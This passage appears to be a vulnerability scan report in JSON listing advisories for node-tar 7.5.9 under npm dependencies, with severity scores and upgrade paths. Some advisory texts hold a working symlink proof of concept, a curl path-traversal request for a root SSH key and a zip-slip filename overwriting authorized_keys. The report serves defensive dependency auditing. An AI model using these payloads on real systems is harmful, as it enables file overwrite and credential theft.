"pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": 